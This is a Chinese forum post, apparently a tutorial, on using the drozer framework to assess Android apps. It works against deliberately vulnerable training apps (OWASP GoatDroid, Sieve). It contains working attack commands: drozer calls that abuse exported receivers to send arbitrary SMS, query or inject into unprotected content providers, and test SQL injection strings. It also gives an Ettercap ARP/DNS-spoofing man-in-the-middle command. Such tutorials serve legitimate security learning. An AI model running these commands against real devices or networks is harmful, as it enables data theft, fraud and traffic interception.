搜索
查看: 642|回复: 0

android安全评估框架-drozer的基本使用(二)

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-4-10 16:21:00 | 显示全部楼层 |阅读模式
今天跟大家分享的是如何利用APP漏洞,本期主要是介绍如何发现APP漏洞并利用这些漏洞进行攻击,例子都比较简单,喷喷更健康哈,准备好了吗?要开始啦~~~
0x01 正文
一、通过logcat查看日志信息
    logcat是在ADB下的一个查看日志的工具,可以通过adb logcat -help查看其使用。
adb logcat [options] [filter]
[options]主要是logcat的一些选项
[filter]则是以tag:priority来过滤日志信息
tag是在日志中的组件,在日志信息中处于priority后边的组件名
priority主要包括下边几个部
V,verbose(冗长的日志信息)
D,debug(日志中的调试部分)
I,Info(日志各类信息)
W,Warn(警告/错误信息)
E,Error(错误信息)
    例如要过滤出错误信息:adb logcat *:E, *表示任一组件,可用具体组件代替。
    另外在ubuntu下,也可以通过管道的方式来对输出的日志信息进行过滤。
    adb logcat | grep “cookie”
    adb logcat | grep “http”
二、检查网络数据
1.安装Wireshark
① aptitude search wireshark //查找wireshark相关包
② sudo apt-get install wireshark //安装wireshark
2.在android设备上安装tcpdump
http://www.strazzere.com/android/tcpdump 获取tcpdump二进制文件
② 通过ADB以root权限进入android设备shell模式,创建用于存放tcpdump的目录
mkdir /data/tcpdump
chmod 755 /data/tcpdump //修改目录权限属性
③ 将tcpdump安装入android设备中
adb push tcpdump /data/tcpdump/
adb shell chmod 755 /data/tcpdump/tcpdump
./tcpdump -help  //adbshell下测试是否安装成功?
3.在android设备上安装busybox,获得nc功能
[url=]https://busybox.net/downloads/[/url]   //busybox下载
[url=]https://busybox.net/downloads/BusyBox.html[/url]   //busybox安装
4.实时抓取数据包
① android上抓取数据包并输入到相应端口
./tcpdump -i any -w - | busybox nc -l -p 31336
    -i any  //监听所有网络接口
    -w -   //直接以输出流输出(也可输出到文件中)
    busybox nc -l -p 31337 //将tcpdump输入的数据包从31336端口输出。
②本机上端口交互,wireshark实时抓包
    adb forward tcp:12345 tcp:31336 && netcat 127.0.0.112345 | wireshark –k –S –i –
    adb forward tcp:12345 tcp:31336  //交互本地12345端口与android 31336端口
    netcat 127.0.0.1 12345 //监听本地12345端口数据
    最后将数据包输入到wireshark进行实时包显示:
    -k  //启动wireshark进行包的抓取
    -S  //实时更新包
    -i - //将管道的输入作为wireshark的包接口输入
5.攻击service
    对于部分没有设置好合适权限的service,容易导致在没有如何权限请求下,在后台执行着敏感的操作。
<serviceandroid:name=".services.LocationService" >
    <intent-filter>
      <actionandroid:name="org.owasp.goatdroid.fourgoats.
      services.LocationService"/>
    </intent-filter>
</service>
</application>
    <uses-permissionandroid:name="android.permission.SEND_SMS" />
    <uses-permissionandroid:name="android.permission.CALL_PHONE" />
    <uses-permissionandroid:name="android.permission.
      ACCESS_COARSE_LOCATION"/>
   <uses-permissionandroid:name="android.permission.
      ACCESS_FINE_LOCATION"/>
    <uses-permissionandroid:name="android.permission.INTERNET" />
</manifest>
    例如上边的AndroidManifest.xml代码片段service: ".services.LocationService"自身赋予了"android.permission.ACCESS_COARSE_LOCATION""android.permission.ACCESS_FINE_LOCATION"权限,在无需任何权限下就可启动该service,从而获得用户所在的地理位置信息,可以通过drozer直接枚举出权限为null的service,并相应命令启动service
dz> run app.service.info --permission null
dz> run app.service.start --action [ACTION] --category [CATEGORY]--data-uri [DATA-URI] --component [package name] [component name] --extra [TYPEKEY VALUE] --mimetype [MIMETYPE]
6.攻击broadcastreceiver
    当一个broadcast receiver没有设置合适权限,容易接收到不可信输入,从而进行恶意操作 。
1)broadcast receiver漏洞实例
<receiver
    android:name=".broadcastreceivers.SendSMSNowReceiver"
    android:label="SendSMS" >
    <intent-filter>
       <actionandroid:name=
           "org.owasp.goatdroid.fourgoats.SOCIAL_SMS"/>
    </intent-filter>
</receiver>
</application>
    <uses-permissionandroid:name="android.permission.SEND_SMS" />
    <uses-permissionandroid:name=
       "android.permission.CALL_PHONE"/>
    <uses-permissionandroid:name=
       "android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permissionandroid:name=
       "android.permission.ACCESS_FINE_LOCATION"/>
    <uses-permissionandroid:name="android.permission.INTERNET" />
</manifest>
    这个app中receiver赋予了android.permission.SEND_SMS权限,而又没设置合适的权限进行保护,直接暴露给其他app,可以被直接启动,且如果该receiver的action代码如下:
goatdroid.fourgoats.SOCIAL_SMS actions:
    public voidonReceive(Context arg0, Intent arg1) {
       context = arg0;
       SmsManager sms =SmsManager.getDefault();
       Bundle bundle =arg1.getExtras();
       sms.sendTextMessage(bundle.getString("phoneNumber"),null,
           bundle.getString("message"),null, null);
       Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,
           Toast.LENGTH_LONG);
}
      代码中没有对调用这个reciver事先进行检查,并直接从bundle对象获取字符串值,作为sendTextMessage参数填入,从而导致可以轻松发送任意短信。
7.通过drozer启动broadcast receiver
    dz> run app.broadcast.send --action [ACTION] --category[CATEGORY]
--component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra[TYPE KEY VALUE] --flags [FLAGS*] --mimetype [MIMETYPE]
    对上边实例进行短信发送:
    dz> run app.broadcast.send --actionorg.owasp.goatdroid.fourgoats.
SOCIAL_SMS --component org.owasp.goatdroid.fourgoatsorg.owasp.
goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED
    通过启动该receiver并传入字符向02029821468号码发送PWNED。
8.枚举有漏洞的content providers
    通常content provider中包含有很多有价值的信息,对其攻击是通过恶意的intent来请求content provider,这样的intent包含着恶意的URI字符让contentprovider进行处理。
1)drozer枚举可能有漏洞的content provider
    dz> run app.provider.info --permission null  //枚举没设置权限的content provider
    dz> run app.provider.finduri [package]  //查找包的有效content URI字符串,通过查找到的content URI,可能寻找到突破口来提取content provider的数据 。
2)从有漏洞的content provider中获取数据
    通过上边的方式获取content URI,如果该URI无需读权限即可获取数据。
    run app.provider.info –-permission null
    run app.provider.finduri [package]
    获取无权限的URI信息:
    dz> run app.provider.query [URI]
    对上图中URI:”content://downloads/my_downloads”获取信息。
    如含有用户敏感信息的content URI没有进行权限设置将容易受到恶意攻击
有些在对content provider设置路径权限时,当匹配类型(matching type)使用了PATTERN_LITERAL,Android权限框架将只有在所请求的路径与定义的路径精确匹配时,才会强制执行检查权限。
三、实例
    在下方网址上下载apk,并安装于android设备上。
[url=]https://www.mwrinfosecurity.com/system/assets/380/[/url]original/sieve.apk
    通过查看该app的provider相关信息,这个app使用了PATTERN_LITERAL匹配模式保护路径Keys,当试图用dorzer查询该路径时,会应权限受拒。
    但当将路径变换为Keys/时,则不会检查路径,可顺利查询数据。
    由于该app进行PATTERN_LITERAL匹配模式只定义了/Keys,而/Keys/则没有定义访问权限,所以可以顺利获取数据。
1.向contentprovider插入数据
    当一个content provider没有设置好写入权限限制时,攻击者则可以恶意地将数据插入到其sqlite数据库中。
1)运用drozer插入数据
    在向content provider插入数据前,先要得知数据的结构及数据名称等相关信息。
    dz> run app.provider.columns [URI]
    如实例app的命令如下:
    dz> run app.provider.columns content://com.mwr.example.seive.
    DBContentProvider/Passwords
    当得知数据库中数据的结构及名称后,将有利于进行进一步攻击,插入数据。
    dz> run app.provider.insert [URI] [--boolean [name][value]] [--integer[name] [value]] [--string [name] [value]]...
    通过drozer向可插入数据的URI的执行命令如上,其支持插入的数据类型有
--boolean –-double –-float –-integer –-long –-string –short。
    如向上边的实例中插入数据:
    dz> run app.provider.insertcontent://com.mwr.example.sieve.
    DBContentProvider/Passwords --int _id 3 --string usernameinjected --string service injected --string password woopwoop --string email [url=]myspam@gmail.com[/url]
    显示出成功插入的数据,其中password中的woopwoop口令要想使其可以正常使用,则应像前边口令一样先进行base64编码再插入数据库中。
2.枚举有SQL注入漏洞的content provider
    如一个app对用户认证的方式是从数据库中进行对应查询,其代码如下:
public boolean isValidUser(){
u_username = EditText( some user value );
u_password = EditText( some user value );
//some un-important code here...
String query = "select * from users_table where username= '" +
username + "' and password = '" + u_password+"'";
SQLiteDatabase db
//some un-important code here...
Cursor c = db.rawQuery( p_query, null );
return c.getCount() != 0;
}
    当用户输入的口令为:''or'1'='1',则查询语句变为:select * from users_table where username = '"+u_username + "' andpassword = ''or '1'='1', 结果都为真,从而数据库所有用户都会被返回出来,运用drozer查询有SQL注入的contentprovider可以尝试:
dz> run app.provider.query [URI] –-selection"1=1"
dz> run app.provider.query [URI] –-selection"1-1=0"
dz> run app.provider.query [URI] –-selection"0=0"
dz> run app.provider.query [URI] –-selection"(1+random())*10 > 1"
3、利用可调试的app
    drozer查看设备上可调试的app:
dz> run app.package.debuggable
    当可调试的app在android设备的VM上运行时,可以通过Java调试连接协议(JavaDebug Wire Protocol)接口,将本地主机连接到VM上,从而提取正在运行的可调试app的信息。
    adb jdwp  //列出可连接到VM的端口
    选择一个端口,执行命令使本地端口与VM端口交互
    adb forward tcp:[localport] jdwp:[jdwp port on device]
    如 adb forward tcp:31337 jdwp:307266
    jdb –attach localhost:[PORT] //通过Java调试器使本地主机访问VM
    jdb –attach localhost:31337
    在jdb会话中,执行下边命令提取VM类信息:
Classes
methods [class-path] //查看指定类的所有方法
    fields [class name]  //查看类的域或类属性
4. app中间人攻击
1)安装攻击工具Ettercap
sudo aptitude search ettercap  //查找ettercap相关包
sudo aptitude install ettercap-graphical //安装Ettercap
2.配置/usr/share/ettercap/etter.dns文件的DNS配置
sudo vim /usr/share/ettercap/etter.dns
    如上图,为将本地主机冒充为DNS服务器,为部分域名配置上主机IP地址。  
5.启动中间人攻击
ettercap –T –I [interface] –M ARP:remote –P dns_spoof /[address oftarget] /[address ofgateway]/
[interface]连上网络的网卡(无线网卡,与android设备连同网段)
[address oftarget]android设备IP地址
[address of gateway]默认网关IP地址
稍过一会,在android设备上用firefox浏览器访问www.baidu.com,如图ettercap记录下网络流量
用wireshark抓包,可看到这次ARP欺骗中的ARP数据包及DNS请求包

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表